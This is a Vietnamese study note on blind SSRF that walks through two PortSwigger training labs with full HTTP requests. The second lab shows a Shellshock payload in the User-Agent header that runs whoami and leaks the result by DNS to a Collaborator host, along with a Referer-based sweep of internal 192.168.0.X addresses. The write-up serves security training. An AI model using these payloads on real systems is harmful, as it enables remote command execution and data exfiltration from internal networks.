What is Blind SSRF?
Xảy ra khi ứng dụng có thể gửi back-end request dựa trên URL mà người dùng cung cấp nhưng không trả về response cho front-end của ứng dụng.
What is the Impact of Blind SSRF Vulnerabilities?
Do không thể truy xuất dữ liệu nhạy cảm từ back-end, nó ít gây thiệt hại hơn so với lỗ hổng SSRF thông thường. Mặc dù vậy, trong một số trường hợp, attacker có thể khai thác lỗ hổng SSRF để thực hiện RCE.
How to Find and Exploit Blind SSRF Vulnerabilities
Để phát hiện lỗ hổng blind SSRF, có thể sử dụng các kỹ thuật out-of-band (OAST) chẳng hạn như trigger các HTTP request đến các hệ thống bên ngoài mà ta kiểm soát.
Tuy nhiên, việc phát hiện ra lỗ hổng blind SSRF mà có thể trigger các out-of-band request không đồng nghĩa với việc ứng dụng có thể bị khai thác do chúng ta không thể xem được response của các back-end request. Tuy nhiên, nó có thể được dùng để phát hiện các lỗ hổng khác trên server hoặc các hệ thống back-end trong mạng nội bộ.
Lab: Blind SSRF with Out-of-band Detection
Mô tả lab:
- Có một phần mềm phân tích dữ liệu gửi request đến URL được cung cấp ở trong header
Referer
sau khi một sản phẩm được load. - Mục tiêu là gây ra HTTP request đến server của Collaborator.
Request xem chi tiết thông tin sản phẩm sau khi truy cập trang chủ:
GET /product?productId=1 HTTP/2
Host: 0a06002304136a41808c9e2200ed0063.web-security-academy.net
Cookie: session=uzIW0yRYTSi5HCBmn6N983FVyH2kreju
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a06002304136a41808c9e2200ed0063.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Sửa header Referer
lại thành server của Collaborator:
GET /product?productId=1 HTTP/2
Host: 0a06002304136a41808c9e2200ed0063.web-security-academy.net
Cookie: session=ILmLGk71O6osz3d6MnDoy0DaB7F4ElQV
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://479mw3v4ytzxdr2exdnnhu3k5bb2zvnk.oastify.com
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Gửi request thì ta thấy một vài DNS lookup và HTTP request gửi đến Collaborator.
Lab: Blind SSRF with Shellshock Exploitation
Mô tả lab:
- Có một phần mềm phân tích dữ liệu gửi request đến URL được cung cấp ở trong header
Referer
sau khi một sản phẩm được load. - Mục tiêu là truy xuất tên người dùng của một server nội bộ có IP trong khoảng
192.168.0.X
và port là8080
sử dụng Shellshock payload.
Tip
Có thể sử dụng extension “Collaborator Everywhere” để phát hiện lỗ hổng SSRF ở trong các header.
Thử thay đổi giá trị của header Referer
thành URL của Collaborator:
GET /product?productId=1 HTTP/2
Host: 0a4500c9041dcd8b80c2f8fa001600ad.web-security-academy.net
Cookie: session=SoPKD67cWRwgokMupdhoqr33anzonw5U
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://wvvekvjwmlnp1jq6l5bf5mrct3zunmfa4.oastify.com
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Request gửi đến Collaborator:
GET / HTTP/1.1
Host: wvvekvjwmlnp1jq6l5bf5mrct3zunmfa4.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept-Encoding: gzip
Request có header User-Agent
cho biết nó có thể được lưu ở trong web server dưới dạng biến môi trường và được gửi đến URL ở trong Referer
.
Xây dựng Shellshock payload truyền vào header User-Agent
như sau:
() { :; }; /usr/bin/nslookup $(whoami).BURP_COLLABORATOR_SUBDOMAIN
Giải thích payload trên:
() { :; };
là chuỗi giúp triển khai Shellshock attack./usr/bin/nslookup
giúp thực hiện DNS query.$(whoami).BURP_COLLABORATOR_SUBDOMAIN
: nội suy giá trị của tên người dùng và dùng nó như là subdomain củaBURP_COLLABORATOR_SUBDOMAIN
.
Note
Cần thực thi payload trên ở một server nội bộ chứ không phải ứng dụng có lỗ hổng SSRF.
Để chuyển tiếp giá trị của User-Agent
cho server nội bộ, ta sẽ khai thác lỗ hổng SSRF của ứng dụng thông qua header Referer
. Cụ thể, giá trị của header Referer
sẽ là địa chỉ địa chỉ IP và port của server nội bộ.
Sử dụng Intruder để lặp qua khoảng IP 192.168.0.X
:
GET /product?productId=1 HTTP/2
Host: 0a4500c9041dcd8b80c2f8fa001600ad.web-security-academy.net
Cookie: session=SoPKD67cWRwgokMupdhoqr33anzonw5U
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).m2p4rlqmtbuf89xwsvi5ccy20t6kuct0i.oastify.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.0.§§:8080
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Payload sử dụng có kiểu là “Numbers” và chạy từ 0 đến 255.
Có một DNS query gửi đến Collaborator như sau:
The Collaborator server received a DNS lookup of type A for the domain name peter-210ohh.pib77o6p9eaiocdz8yy8sfe5gwmnafb30.oastify.com.
The lookup was received from IP address 3.248.180.90:56381 at 2024-Apr-21 10:58:24.799 UTC.
Tên người dùng nằm trong phần subdomain: peter-210ohh
.
Related
list
from outgoing([[Port Swigger - Blind SSRF]])
sort file.ctime asc